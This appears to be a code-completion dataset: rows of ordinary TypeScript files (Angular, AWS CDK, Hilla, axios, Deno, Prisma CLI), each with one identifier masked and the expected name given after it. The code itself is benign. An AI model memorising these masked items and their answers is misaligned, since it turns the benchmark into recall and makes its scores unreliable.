            name: ""ContextEntry-2"",
            dataType: DmnBuiltInDataType.Undefined,
          },
          entryExpression: {
            id: generateUuid(),
            name: ""ContextEntry-2"",
            dataType: DmnBuiltInDataType.Undefined,
            logicType: ExpressionDefinitionLogicType.Undefined,
          },
        },
      ],
    };
    return contextExpression;
  } else if (logicType === ExpressionDefinitionLogicType.List) {
    const listExpression: ListExpressionDefinition = {
      ...prev,
      logicType,
      items: [
        {
          id: generateUuid(),
          logicType: ExpressionDefinitionLogicType.Undefined,
          dataType: DmnBuiltInDataType.Undefined,
        },
        {
          id: generateUuid(),
          logicType: ExpressionDefinitionLogicType.Undefined,
          dataType: DmnBuiltInDataType.Undefined,
        },
        {
          id: generateUuid(),
          logicType: ExpressionDefinitionLogicType.Undefined,
          dataType: DmnBuiltInDataType.Undefined,
        },
      ],
    };
    return listExpression;
  } else if (logicType === ExpressionDefinitionLogicType.Invocation) {
    const invocationExpression: InvocationExpressionDefinition = {
      ...prev,
      logicType,
      entryInfoWidth: CONTEXT_ENTRY_INFO_MIN_WIDTH,
      bindingEntries: [
        {
          entryInfo: {
            id: generateUuid(),
            name: INVOCATION_EXPRESSION_DEFAULT_PARAMETER_NAME,
            dataType: INVOCATION_EXPRESSION_DEFAULT_PARAMETER_DATA_TYPE,
          },
          entryExpression: {
            id: generateUuid(),
            name: INVOCATION_EXPRESSION_DEFAULT_PARAMETER_NAME,
            dataType: INVOCATION_EXPRESSION_DEFAULT_PARAMETER_DATA_TYPE,
            logicType: INVOCATION_EXPRESSION_DEFAULT_PARAMETER_LOGIC_TYPE,
          },
        },
      ],
      invokedFunction: {
        id: generateUuid(),
        name: ""FUNCTION"",
      },
    };
    return invocationExpression;
  } else if (logicType === ExpressionDefinitionLogicType.Relation) {
    const relationExpression: RelationExpressionDefinition = {
      ...prev,
      logicType,
      columns: [
        {
          id: generateUuid(),
          name: ""column-1"",
          dataType: DmnBuiltInDataType.Undefined,
          width: 100,
        },
        {
          id: generateUuid(),
          name: ""column-2"",
          dataType: DmnBuiltInDataType.Undefined,
          width: 300,
        },
        {
          id: generateUuid(),
          name: ""column-3"",
          dataType: DmnBuiltInDataType.Undefined,
          width: 200,
        },
      ],
      rows: [
        {
          id: generateUuid(),
          cells: [
            { id: generateUuid(), content: RELATION_EXPRESSION_DEFAULT_VALUE },
            { id: generateUuid(), content: RELATION_EXPRESSION_DEFAULT_VALUE },
            { id: generateUuid(), content: RELATION_EXPRESSION_DEFAULT_VALUE },
          ],
        },
      ],
    };
    return relationExpression;
  } else if (logicType === ExpressionDefinitionLogicType.DecisionTable) {
    const decisionTableExpression: DecisionTableExpressionDefinition = {
      ...prev,
      logicType,
      hitPolicy: DecisionTableExpressionDefinitionHitPolicy.Unique,
      aggregation: DecisionTableExpressionDefinitionBuiltInAggregation[""<None>""],
      input: [
        {
          id: generateUuid(),
          idLiteralExpression: generateUuid(),
          name: ""input-1"",
          dataType: DmnBuiltInDataType.Undefined,
          width: DECISION_TABLE_INPUT_DEFAULT_WIDTH,
        },
        {
          id: generateUuid(),
          idLiteralExpression: generateUuid(),
          name: ""input-2"",
          dataType: DmnBuiltInDataType.Undefined,
          width: DECISION_TABLE_INPUT_DEFAULT_WIDTH,
        },
      ],
      output: [
        {
          id: generateUuid(),
          name: ""output-1"",
          dataType: DmnBuiltInDataType.Undefined,
          width: DECISION_TABLE_OUTPUT_DEFAULT_WIDTH,
        },
        {
          id: generateUuid(),
          name: ""output-2"",
          dataType: DmnBuiltInDataType.Undefined,
          width: DECISION_TABLE_OUTPUT_DEFAULT_WIDTH,
        },
        {
          id: generateUuid(),
          name: ""output-3"",
          dataType: DmnBuiltInDataType.Undefined,
          width: DECISION_TABLE_OUTPUT_DEFAULT_WIDTH,
        },
      ],
      annotations: [
        {
          name: ""annotation-1"",
          width: DECISION_TABLE_ANNOTATION_DEFAULT_WIDTH,
        },
      ],
      rules: [
        {
          id: generateUuid(),
          inputEntries: [
            { id: generateUuid(), content: DECISION_TABLE_INPUT_DEFAULT_VALUE },
            { id: generateUuid(), content: DECISION_TABLE_INPUT_DEFAULT_VALUE },
          ],
          outputEntries: [
            { id: generateUuid(), content: DECISION_TABLE_OUTPUT_DEFAULT_VALUE },
            { id: generateUuid(), content: DECISION_TABLE_OUTPUT_DEFAULT_VALUE },
            { id: generateUuid(), content: DECISION_TABLE_OUTPUT_DEFAULT_VALUE },
          ],
          annotationEntries: [""// Your annotations here""],
        },
      ],
    };
    return decisionTableExpression;
  } else {
    throw new Error(`No default expression available for ${logicType}`);
  }
}
",containerWidth
142,"import { Component, OnInit } from '@angular/core';
import { Web3Service } from '../util/web3.service';
import { MatSnackBar } from '@angular/material';
import { environment } from '../../environments/environment';


 @Component({
  selector: 'app-sale',
  templateUrl: './sale.component.html',
  styleUrls: ['./sale.component.css']
})
export class SaleComponent implements OnInit {
  accounts: string[];
  rate = 0;
  etherAmount: any
  tokenSold: Number;
  progressPercent: Number;
  admin: Boolean;
  tokenSaleInstance: any;
  calileaInstance: any;

  tokensAvailable = 0;
  model = {
    ether: 0,
    amount: 5,
    receiver: '',
    balance: 0,
    account: '',
    link: ''
  };
  numberOfTokens: Number;
  // rpsten enviroment
  // calileaAdminAccount = '<KEY>'

  // ganache test environment
  calileaAdminAccount = environment.wallet;
  constructor(private web3Service: Web3Service, private matSnackBar: MatSnackBar) {
  }
  async ngOnInit() {
    this.admin = false;
    this.progressPercent = 0
    await this.watchAccount();
    await this.getInstance();

  }

  async getInstance() {
    try {
      console.log('Sale: getInstance....')
      this.tokenSaleInstance = await this.web3Service.getInstanceTokenSale()
      this.calileaInstance = await this.web3Service.getInstanceCalileaToken()

      this.rate = this.web3Service.toWei(await this.tokenSaleInstance.rate())
      console.log(`rate in: ${this.rate}`)
      if (this.tokenSaleInstance) {
        this.refreshTokenBalance();
      }
    } catch (err) {
      console.log('Calilea Token has not been found in this account: ' + err)

    }
  }
  async watchAccount() {
    this.web3Service.accountsObservable.subscribe((accounts) => {
      console.log(accounts)
      this.accounts = accounts;
      this.model.account = accounts[0];
      this.admin = (this.model.account === this.calileaAdminAccount) ? true : false
      this.model.link = `https://ropsten.etherscan.io/address/${accounts[0]}`;



    });
  }
  async refreshTokenBalance() {
    try {
      console.log('RefresRokenBalance******************')
      let rate = await this.tokenSaleInstance.rate();
      this.tokensAvailable = Number(await this.tokenSaleInstance.tokensAvailable());
      console.log('tokensAvailable:'+this.tokensAvailable)
      console.log(rate.toString())

      let rateFormatted = rate
        ? this.web3Service.toEther(rate.toString())
        : 0
      console.log(rateFormatted)
      let tokenSold = Number(await this.tokenSaleInstance.tokensSold());
    
console.log('tokenSold: '+tokenSold)
      this.rate = rateFormatted
      this.tokenSold = tokenSold

      this.progressPercent = (Math.ceil(tokenSold) / this.tokensAvailable) * 100;
      console.log(this.progressPercent)
    } catch (err) {
      console.log(err)

    }
  }

  async buyTokens() {
    try {


      console.log(`tokenSaleInstance.address: ${this.tokenSaleInstance.address}`)
      console.log(`tokensAvailable: ${this.tokensAvailable}`)
      let rateBN = await this.tokenSaleInstance.rate();
      let rate= Number(rateBN.toString());
      console.log(rate)
      let etherValue =Number(this.numberOfTokens) * rate;
      console.log('etherValue: '+etherValue)


      let receipt = await this.tokenSaleInstance.buyTokens(this.model.account, {
        from: this.model.account,
        value:  etherValue,
        gas: 500000
      })


      this.numberOfTokens = 0
      this.setStatus('Tokens bought successfully!!!')
    } catch (err) {
      this.setStatus('Error in sale process, please, try again')
      console.log(err)
    }

  }
  setStatus(status) {
    this.matSnackBar.open(status, null, { duration: 3000 });
  }
  calculateEther(): any {
    this.etherAmount = Number(this.numberOfTokens) * this.rate;

  }

  async startIco() {
    let wallet = await this.tokenSaleInstance.wallet()
    console.log('wallet:' + wallet)
    

    let initialTokenAvailable = 5000000
    let  [MASK]  = this.web3Service.toWei(initialTokenAvailable.toString())
   
    await this.tokenSaleInstance.initializeIco(initialTokenAvailable, {
      from: wallet,
    })
    console.log('this.tokenSaleInstance.address:' + this.tokenSaleInstance.address)
    console.log('this.tokenSaleInstance.address:' + this.tokenSaleInstance.address)

    await this.calileaInstance.transfer(this.tokenSaleInstance.address,  [MASK] ,
      {
        from: wallet,
        gas: 500000
      });

  }
   


}
",initialTokenAvailableWei
143,"import * as cdk from 'aws-cdk-lib';
import { Construct } from 'constructs';
import * as secretsmanager from 'aws-cdk-lib/aws-secretsmanager';

const projectName = `multi-agent`; 
const region = process.env.CDK_DEFAULT_REGION;    
const accountId = process.env.CDK_DEFAULT_ACCOUNT;

export class CdkMultiAgentStack extends cdk.Stack {
  constructor( [MASK] : Construct, id: string, props?: cdk.StackProps) {
    super( [MASK] , id, props);

    const weatherApiSecret = new secretsmanager.Secret(this, `weather-secret-for-${projectName}`, {
      description: 'secret for weather api key', // openweathermap
      removalPolicy: cdk.RemovalPolicy.DESTROY,
      secretName: `openweathermap-${projectName}`,
      secretObjectValue: {
        project_name: cdk.SecretValue.unsafePlainText(projectName),
        weather_api_key: cdk.SecretValue.unsafePlainText(''),
      },
    });

    // Secret
    const langsmithApiSecret = new secretsmanager.Secret(this, `langsmith-secret-for-${projectName}`, {
      description: 'secret for lamgsmith api key', // lamgsmith
      removalPolicy: cdk.RemovalPolicy.DESTROY,
      secretName: `langsmithapikey-${projectName}`,
      secretObjectValue: {
        langchain_project: cdk.SecretValue.unsafePlainText(projectName),
        langsmith_api_key: cdk.SecretValue.unsafePlainText(''),
      }, 
    });

    const tavilyApiSecret = new secretsmanager.Secret(this, `tavily-secret-for-${projectName}`, {
      description: 'secret for tavily api key', // tavily
      removalPolicy: cdk.RemovalPolicy.DESTROY,
      secretName: `tavilyapikey-${projectName}`,
      secretObjectValue: {
        project_name: cdk.SecretValue.unsafePlainText(projectName),
        tavily_api_key: cdk.SecretValue.unsafePlainText(''),
      },
    });
  }
}
",scope
144,"import { Flow } from '@vaadin/flow-frontend';
import { Route } from '@vaadin/router';
import Role from './generated/dk/mhm/hilla/data/Role';
import { appStore } from './stores/app-store';
import './views/helloworldpublic/hello-world-public-view';
import './views/main-layout';

const { serverSideRoutes } = new Flow({
  imports: () => import('../target/frontend/generated-flow-imports'),
});

export type ViewRoute = Route & {
  title?: string;
  icon?: string;
  requiresLogin?: boolean;
  rolesAllowed?: Role[];
  children?: ViewRoute[];
};

export const hasAccess = (route: Route) => {
  const  [MASK]  = route as ViewRoute;
  if ( [MASK] .requiresLogin && !appStore.loggedIn) {
    return false;
  }

  if ( [MASK] .rolesAllowed) {
    return  [MASK] .rolesAllowed.some((role) => appStore.isUserInRole(role));
  }
  return true;
};

export const views: ViewRoute[] = [
  // place routes below (more info https://hilla.dev/docs/routing)
  {
    path: '',
    component: 'hello-world-public-view',
    icon: '',
    title: '',
  },
  {
    path: 'hello-world-public',
    component: 'hello-world-public-view',
    icon: 'la la-globe',
    title: 'Hello World Public',
  },
  {
    path: 'hello-world-user',
    component: 'hello-world-user-view',
    rolesAllowed: [Role.USER],
    icon: 'la la-globe',
    title: 'Hello World User',
    action: async (_context, _command) => {
      if (!hasAccess(_context.route)) {
        return _command.redirect('login');
      }
      await import('./views/helloworlduser/hello-world-user-view');
      return;
    },
  },
  {
    path: 'hello-world-admin',
    component: 'hello-world-admin-view',
    rolesAllowed: [Role.ADMIN],
    icon: 'la la-globe',
    title: 'Hello World Admin',
    action: async (_context, _command) => {
      if (!hasAccess(_context.route)) {
        return _command.redirect('login');
      }
      await import('./views/helloworldadmin/hello-world-admin-view');
      return;
    },
  },
];
export const routes: ViewRoute[] = [
  {
    path: 'login',
    component: 'login-view',
    icon: '',
    title: 'Login',
    action: async (_context, _command) => {
      await import('./views/login/login-view');
      return;
    },
  },

  {
    path: '',
    component: 'main-layout',
    children: [
      ...views,
      // for server-side, the next magic line sends all unmatched routes:
      ...serverSideRoutes, // IMPORTANT: this must be the last entry in the array
    ],
  },
];
",viewRoute
145,"import axios from 'axios';
import { message } from 'antd';

export interface Result<T> {
  code: number;
  message: string;
  data: T;
}

export enum OrderTypes {
  DESC,
  ASC,
}

export interface PaginationOptions {
  pageNum: number;
  pageSize: number;
  orderColumn: string;
  orderType: OrderTypes;
}

export interface PaginationResult<T> {
  data: T[];
  total: number;
  pageNum: number;
  pageSize: number;
  maxPage: number;
}

// let BASE_API = '';

// if (process.env['NODE_ENV'] !== 'development') {
//   BASE_API = process.env.REACT_APP_API as string;
// }

/**
 * 设置默认Content-Type
 */
axios.defaults.headers.post['Content-Type'] = 'application/json';
// axios.defaults.baseURL = BASE_API;
axios.defaults.baseURL = 'api';

/**
 * request拦截器
 */
axios.interceptors.request.use(
  ( [MASK] ) => {
    const TOKEN = localStorage.getItem('TOKEN');
    if (TOKEN) {
       [MASK] .headers && ( [MASK] .headers['Authorization'] = `Bearer ${TOKEN}`);
    } else {
       [MASK] .headers && delete  [MASK] .headers['Authorization'];
    }
    return  [MASK] ;
  },
  (error) => {
    return Promise.reject(error?.response?.data);
  }
);
/**
 * response拦截器
 */
axios.interceptors.response.use(
  async (res) => {
    return res?.data?.data;
  },
  async (err) => {
    if (err?.response?.status === 401) {
      localStorage.removeItem('TOKEN');
      message.error(err?.response?.data?.message ?? '请重新登录');
      window.location.reload();
    }
    return Promise.reject(err?.response?.data ?? err);
  }
);

/**
 * 封装get方法
 * @param url
 * @param params
 */
export const GET = async <P extends { [key: string]: any }, R>(
  url: string,
  params?: P
): Promise<R> => {
  return await axios.get<P, R>(url, { params });
};
/**
 * 封装post请求
 * @param url
 * @param data
 */
export const POST = async <P extends { [key: string]: any }, R>(
  url: string,
  data?: P
): Promise<R> => {
  return await axios.post<P, R>(url, data);
};
",config
146,"import ResourceBundle from ""sap/base/i18n/ResourceBundle"";
import Device from ""sap/ui/Device"";
import UIComponent from ""sap/ui/core/UIComponent"";
import JSONModel from ""sap/ui/model/json/JSONModel"";
import ResourceModel from ""sap/ui/model/resource/ResourceModel"";

/**
 * @namespace de.regatta_hd.infoportal
 */
export default class Component extends UIComponent {

    private contentDensityClass: string;
    private resourceBundle: ResourceBundle;

    private regattaModel?: JSONModel;
    private filtersModel?: JSONModel;
    private regattaModelPromise?: Promise<JSONModel>;
    private filtersModelPromise?: Promise<JSONModel>;

    static readonly metadata = {
        manifest: ""json"",
        interfaces: [""sap.ui.core.IAsyncContentCreation""]
    };

    async getActiveRegatta(): Promise<JSONModel> {
        if (this.regattaModelPromise) {
            return this.regattaModelPromise;
        }
        if (!this.regattaModel) {
            this.regattaModelPromise = this.loadActiveRegatta();
            this.regattaModel = await this.regattaModelPromise;
            delete this.regattaModelPromise;
        } else {
            console.debug(""Active regatta already loaded"");
        }
        return Promise.resolve(this.regattaModel);
    }

    async getFilters(): Promise<JSONModel> {
        if (this.filtersModelPromise) {
            return this.filtersModelPromise;
        }
        if (!this.filtersModel) {
            this.filtersModelPromise = this.loadFilters();
            this.filtersModel = await this.filtersModelPromise;
            delete this.filtersModelPromise;
        } else {
            console.debug(""Filters already loaded"");
        }
        return Promise.resolve(this.filtersModel);
    }

    init(): void {
        super.init();

        // create the views based on the url/hash
        super.getRouter().initialize();

        // set regatta and filters model
        this.getActiveRegatta().then((model: JSONModel) => {
            super.setModel(model, ""regatta"");

            this.getFilters().then((model: JSONModel) => {
                super.setModel(model, ""filters"");
            });
        })

        // set device model
        super.setModel(new JSONModel(Device).setDefaultBindingMode(""OneWay""), ""device"");

        // set identity model
        const identityModel: JSONModel = new JSONModel({ authenticated: false, username: ""anonymous"", roles: [] }).setDefaultBindingMode(""OneWay"");
        super.setModel(identityModel, ""identity"");

        // set initial heat model, required for navigation over heats
        super.setModel(new JSONModel(), ""heat"");

        // set initial race model, required for navigation over races
        super.setModel(new JSONModel(), ""race"");

        window.addEventListener('beforeunload', (event: BeforeUnloadEvent) => {
            // Cancel the event as stated by the standard.
            event.preventDefault();
        });

        const bundle: ResourceBundle | Promise<ResourceBundle> = (super.getModel(""i18n"") as ResourceModel).getResourceBundle();
        if (bundle instanceof ResourceBundle) {
            this.resourceBundle = bundle;
        } else {
            bundle.then((bundle: ResourceBundle) => {
                this.resourceBundle = bundle;
            });
        }
    }

    /**
     * Returns the content density class according to the current device.
     * @returns {string} the content density class
     */
    getContentDensityClass(): string {
        if (!this.contentDensityClass) {
            if (!Device.support.touch) {
                this.contentDensityClass = ""sapUiSizeCompact"";
            } else {
                this.contentDensityClass = ""sapUiSizeCozy"";
            }
        }
        return this.contentDensityClass;
    }

    /**
     * Getter for the resource bundle.
     * @returns {sap.base.i18n.ResourceBundle} the resourceModel of the component
     */
    getResourceBundle(): ResourceBundle {
        return this.resourceBundle;
    }

    /**
     * Loads the active regatta into a JSONModel from the server and returns it as a Promise.
     * @returns {Promise<sap.ui.model.json.JSONModel>} the active regatta model as a Promise
     */
    private async loadActiveRegatta(): Promise<JSONModel> {
        console.debug(""Loading active regatta"");
        const model: JSONModel = new JSONModel();
        await model.loadData(""/api/active_regatta"");
        console.debug(""Active regatta loaded"");
        return model;
    }

    /**
     * Loads the filters into a JSONModel for the active regatta from the server and returns it as a Promise.
     * @returns {Promise<sap.ui.model.json.JSONModel>} the filters model as a Promise
     */
    private async loadFilters(): Promise<JSONModel> {
        await this.getActiveRegatta();
        console.debug(""Loading filters"");
        const model: JSONModel = new JSONModel();
        const  [MASK]  = this.regattaModel?.getData().id ?? -1;
        await model.loadData(`/api/regattas/${ [MASK] }/filters`);
        console.debug(""Filters loaded"");
        return model
    }
}",regattaId
147,"import {json, Router} from 'express';
import { PendingOperations } from '../services/agent-state';
import { MakeAsyncSafe } from '../utils/async';

export function CreateAcknowledgeRouter(services: Services) {
  const router = MakeAsyncSafe(Router());

  router.post(""/"", json({limit: '80MB'}), (req, res)=>{
    const  [MASK]  = JSON.stringify(req.body);
    console.log(`Acknowledge size: ${ [MASK] .length} B`);
    
    const opId = req.body.operationId;
    const state = req.body.operationState.state;
    console.log(`Acknowledge operation {id: ${opId}, state: ${state}}`);
    const cb = PendingOperations.get(opId);
    PendingOperations.delete(opId);
    if (state === ""FULLY_APPLIED"" || state === ""NO_OPERATION"") {
      cb?.resolve( [MASK] );
    } else {
      cb?.reject(req?.body?.operationState?.details);
    }

    res.end();
  })

  return router;
}",raw_body
148,"import {Injectable} from '@angular/core';
import {select, Store} from '@ngrx/store';
import {from, Observable, of} from 'rxjs';
import {tap} from 'rxjs/operators';
import {getThemeActiveSetting, settingsFeatureKey, State} from './store/settings.reducer';
import {loaded, update} from './store/settings.action';
import {SettingModel} from '../shared/model/setting.model';
import {LocalStorageService} from 'angular-2-local-storage';

export const LANGUAGES = ['en'];
// export const LANGUAGES = ['en', 'fr', 'de'];
const DEFAULT_LANG = 'en';

@Injectable({
  providedIn: 'root'
})
export class SettingsService {
  constructor(private store: Store<State>, private localStorageService: LocalStorageService) {}

  load(): Observable<SettingModel[]> {
    const isDarkConfig = window.matchMedia && window.matchMedia('(prefers-color-scheme: dark)').matches;
    let activeThemeValue: string = isDarkConfig ? 'dark' : 'default';

    let  [MASK] : string = DEFAULT_LANG;
    if (navigator?.language) {
       [MASK]  = navigator.language.split('-')[0];
    }
    if (LANGUAGES.indexOf( [MASK] ) === -1) {
       [MASK]  = DEFAULT_LANG;
    }

    if (this.localStorageService.get('themeActiveValue')) {
      activeThemeValue = this.localStorageService.get('themeActiveValue');
    }

    if (this.localStorageService.get('languageActiveValue')) {
       [MASK]  = this.localStorageService.get('languageActiveValue');
    }

    const settings: SettingModel[] = [
      {name: 'language-active', value:  [MASK] },
      {name: 'theme-active', value: activeThemeValue},
      {name: 'results-per-page', value: '20'}
    ];
    return of(settings).pipe(tap(sett => this.store.dispatch(loaded({settings: sett}))));
  }

  update(setting: SettingModel): Observable<void> {
    if (setting.name === 'theme-active') {
      this.localStorageService.set('themeActiveValue', setting.value);
    }
    if (setting.name === 'language-active') {
      this.localStorageService.set('languageActiveValue', setting.value);
    }
    return from(new Promise<void>(resolve => resolve()));
  }

  dispatch(setting: SettingModel): void {
    this.store.dispatch(update({setting}));
  }

  themeActiveSetting(): Observable<string> {
    return this.store.pipe(select(getThemeActiveSetting));
  }

  getSettings(): Observable<SettingModel[]> {
    return this.store.pipe(select(state => state[settingsFeatureKey].settings));
  }
}
",activeLanguageValue
149,"import inlineAssets from ""npm:inline-assets@1.4.8"";
import { DOMParser, Element } from ""https://deno.land/x/deno_dom@v0.1.36-alpha/deno-dom-wasm.ts"";
import postcss from ""https://deno.land/x/postcss@8.4.16/mod.js"";
import postcssImporter from ""npm:postcss-import-url@7.2.0"";
import { ensureFile } from ""https://deno.land/std@0.178.0/fs/mod.ts"";

export default async function minify(
    inputFilePath: string,
     [MASK] : string,
    ensureOutput: boolean
) {
    let content: string = await Deno.readTextFile(inputFilePath);

    // Put all assets (images, css, etc) inside the HTML itself
    content = inlineAssets( [MASK] , inputFilePath, content, {
        verbose: true,
        htmlmin: true,
        cssmin: true,
        jsmin: false
    });

    const parsedDocument = (new DOMParser().parseFromString(content, ""text/html""))!;

    // Recursively inline all stylesheets (mostly targeting remote fonts)
    for (const styleTag of parsedDocument.querySelectorAll(""style"")) {
        styleTag.textContent = await postcss([
            postcssImporter({
                recursive: true,
                // Set user-agent string, which is useful for fetching remote fonts
                modernBrowser: true,
                dataUrls: true
            })
        ]).process(styleTag.textContent, { from: undefined });
    }

    // Unwrap referral links
    for (const linkTag of parsedDocument.querySelectorAll(""a"")) {
        const href = (linkTag as Element).attributes.getNamedItem(""href"") ?? null;
        if (href === null) {
            continue;
        }
        let url: URL = null!;
        try {
            url = new URL(href.value);
        }
        catch (_e) {
            // It's an invalid URL, probably an anchor link.
            continue;
        }
        if (url.href.startsWith(""https://www.google.com/url"")) {
            href.value = url.searchParams.get(""q"");
        }
    }

    // Convert document back into raw HTML plaintext
    // @ts-ignore (TypeScript thinks parsedDocument is null...)
    content = parsedDocument.documentElement.outerHTML;

    if (ensureOutput === true) {
        await ensureFile( [MASK] );
    }

    // Save the resulting fat-html to the output location
    await Deno.writeTextFile( [MASK] , content);
}
",outputFilePath
150,"/**
 * Copyright 2024 <NAME>
 * 
 * See the NOTICE file distributed with this work for 
 * additional information regarding copyright ownership.
 * 
 * Licensed under the Apache License, Version 2.0 (the ""License"");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 * 
 *    https://www.apache.org/licenses/LICENSE-2.0
 * 
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an ""AS IS"" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 * 
 * This project is based on https://github.com/google/pixelate which is licensed under the Apache 2.0 License.
 * 
 * Copyright 2022 Google LLC
 */

import { Mode, PersistableState } from ""../editor""
import { StoreState } from ""../store/reducer""
import { HexColor, createCanvas, getContext2D, hexToRgb, min, requireNonNull } from ""../utils""
import { EditableImageData } from ""./EditableImageData""

export * from ""./EditableCanvas""
export * from ""./EditableImageData""


export function getImageData(img: HTMLImageElement): ImageData {
  if (!img.complete) throw new Error(""Image not loaded"")
  if (!img.naturalWidth || !img.naturalHeight) throw new Error(""Image has no dimensions"")

  const canvas = createCanvas({
    height: img.naturalHeight,
    width: img.naturalWidth
  })

  const ctx = getContext2D(canvas)
  ctx.fillStyle = ""#ffffff""
  ctx.fillRect(0, 0, img.naturalWidth, img.naturalHeight);
  ctx.drawImage(img, 0, 0);

  return ctx.getImageData(0, 0, img.naturalWidth, img.naturalHeight);
}

export function downscale(
  original: EditableImageData,
  target: EditableImageData,
  colorHint: number
) {
  const  [MASK]  = original.width / target.width;
  // TODO: When the input image is aliased, picking the n most common color
  // values is not ideal. There might be dozens of shades of one color, but
  // each one with only a small count.
  const originalColors = Array.from(original.counter).sort(
    ([, a], [, b]) => b - a
  );
  const selectedColors = Array.from(
    originalColors.slice(0, colorHint).map(([c]) => c)
  );

  // Divide the original image of width m into n blocks, where n ≤ m.
  // Then, sample the center color from each block and draw the closest
  // color to the target image.
  for (let y = 0; y < target.height; y++) {
    for (let x = 0; x < target.width; x++) {
      const originalColor = original.pick(
        Math.min(Math.trunc((x + .5) *  [MASK] ), original.width - 1),
        Math.min(Math.trunc((y + .5) *  [MASK] ), original.height - 1)
      );
      const color = requireNonNull(
        min(selectedColors, (c) => colorDistance(c, originalColor))
      );
      target.draw(x, y, color);
    }
  }
}


export function colorDistance(a: HexColor, b: HexColor) {
  const [ar, ag, ab] = hexToRgb(a);
  const [br, bg, bb] = hexToRgb(b);

  return Math.abs(ar - br) + Math.abs(ag - bg) + Math.abs(ab - bb);
}


export function hasImageData(state: PersistableState): state is StoreState {
  return (
    state.mode === Mode.DRAW ||
    state.mode === Mode.PREPROCESS ||
    state.mode === Mode.ASSEMBLE
  )
}
",ratio
151,"import { Injectable } from '@angular/core';
import * as Cookies  from ""js-cookie"";

export interface CourseFilter {
  inst: string
  course: string
  name: string
}

@Injectable()
export class FilterService {
  set minYear(val: number) { Cookies.set(""minYear"", val + """") }
  get minYear(): number {
    let val = Cookies.get(""minYear"")
    return val == null ? null : parseInt(val)
  }

  set maxYear(val: number) { Cookies.set(""maxYear"", val + """") }
  get maxYear(): number {
    let val = Cookies.get(""maxYear"")
    return val == null ? null : parseInt(val)
  }

  private _courses: CourseFilter[]

  get courses(): CourseFilter[] {
    console.log('COURSES: ', this._courses)
    if (this._courses == null) {
      let val = Cookies.get(""courses"")
      this._courses = val == null ? [] : JSON.parse(val)
    }

    return this._courses
  }

  getCoursesMap() {
    let data = {}
    this.courses.forEach(_ => {
      let  [MASK]  = _.inst + '-' + _.course
      
      let cName = """"
      for(let char of _.name) {
        if(char >= 'A' && char <= 'Z')
          cName += char
      }

      data[ [MASK] ] = { name: _.name, short: cName }
    })

    console.log('getCoursesMap -> ', data)
    return data
  }

  addCourse(item: CourseFilter) {
    //do nothing if duplicate found
    for (let next of this._courses)
      if (item.inst == next.inst && item.course == next.course)
        return

    this._courses.push(item)
    Cookies.set(""courses"", JSON.stringify(this._courses))
  }

  removeCourse(item: CourseFilter) {
    //find position and remove it
    for (let i = 0; i < this._courses.length; i++)
    if (item.inst == this._courses[i].inst && item.course == this._courses[i].course) {
      this._courses.splice(i, 1)
      break
    }

    Cookies.set(""courses"", JSON.stringify(this._courses))
  }
}",cCode
152,"import { Command, flags, Flags, DeployPayload, Config } from 'prisma-cli-engine'
import { Cluster } from 'prisma-yml'
import chalk from 'chalk'
import * as chokidar from 'chokidar'
import * as inquirer from 'inquirer'
import * as path from 'path'
import * as fs from 'fs-extra'
import { fetchAndPrintSchema } from './printSchema'
import { Seeder } from '../seed/Seeder'
import * as semver from 'semver'
const debug = require('debug')('deploy')
import { prettyTime, concatName, defaultDockerCompose } from '../../util'
import * as sillyname from 'sillyname'
import { getSchemaPathFromConfig } from './getSchemaPathFromConfig'
import { EndpointDialog } from '../../utils/EndpointDialog'
import { spawnSync } from 'npm-run'
import * as figures from 'figures'

export default class Deploy extends Command {
  static topic = 'deploy'
  static description = 'Deploy service changes (or new service)'
  static group = 'general'
  static allowAnyFlags = true
  static help = `
  
  ${chalk.green.bold('Examples:')}
      
${chalk.gray(
    '-',
  )} Deploy local changes from prisma.yml to the default service environment.
  ${chalk.green('$ prisma deploy')}
    
${chalk.gray(
    '-',
  )} Deploy local changes from default service file accepting potential data loss caused by schema changes
  ${chalk.green('$ prisma deploy --force')}
  `
  static flags: Flags = {
    force: flags.boolean({
      char: 'f',
      description: 'Accept data loss caused by schema changes',
    }),
    watch: flags.boolean({
      char: 'w',
      description: 'Watch for changes',
    }),
    new: flags.boolean({
      char: 'n',
      description: 'Force interactive mode to select the cluster',
    }),
    'dry-run': flags.boolean({
      char: 'd',
      description: 'Perform a dry-run of the deployment',
    }),
    'no-seed': flags.boolean({
      description: 'Disable seed on initial service deploy',
    }),
    json: flags.boolean({
      char: 'j',
      description: 'Json Output',
    }),
    ['env-file']: flags.string({
      description: 'Path to .env file to inject env vars',
      char: 'e',
    }),
  }
  private deploying: boolean = false
  private showedHooks: boolean = false
  private loggedIn: boolean = false
  async run() {
    /**
     * Get Args
     */
    const { force, watch } = this.flags
    const interactive = this.flags.new // new is a reserved keyword, so we use interactive instead
    const envFile = this.flags['env-file']
    const dryRun = this.flags['dry-run']

    if (envFile && !fs.pathExistsSync(path.join(this.config.cwd, envFile))) {
      await this.out.error(`--env-file path '${envFile}' does not exist`)
    }

    /**
     * Get prisma.yml content
     */
    await this.definition.load(this.flags, envFile)

    let serviceName = this.definition.service!
    let stage = this.definition.stage!

    /**
     * If no endpoint or service provided, ask for it
     */
    let workspace: string | undefined | null = this.definition.getWorkspace()
    let cluster
    let dockerComposeYml = defaultDockerCompose
    if (!serviceName || !stage || interactive) {
      const endpointDialog = new EndpointDialog(
        this.out,
        this.client,
        this.env,
        this.config,
      )
      const results = await endpointDialog.getEndpoint()
      cluster = results.cluster
      workspace = results.workspace
      serviceName = results.service
      stage = results.stage
      dockerComposeYml = results.dockerComposeYml
      this.definition.replaceEndpoint(results.endpoint)
      // Reload definition because we are changing the yml file
      await this.definition.load(this.flags, envFile)
      this.out.log(
        `\nWritten endpoint \`${chalk.bold(
          results.endpoint,
        )}\` to prisma.yml\n`,
      )
    } else {
      cluster = this.definition.getCluster(false)
    }

    if (
      cluster &&
      cluster.local &&
      !await cluster.isOnline()
    ) {
      throw new Error(
        `Could not connect to server at ${
          cluster.baseUrl
        }. Please check if your server is running.`,
      )
    }

    /**
     * If the cluster has been provided with the old ""cluster: "" key, check if the cluster could be found
     */
    if (this.definition.definition!.cluster && !cluster) {
      this.out.log(
        `You're not logged in and cluster ${chalk.bold(
          this.definition.definition!.cluster!,
        )} could not be found locally. Trying to authenticate.\n`,
      )
      // signs in and fetches clusters
      await this.client.login()
      cluster = this.definition.getCluster()
    }

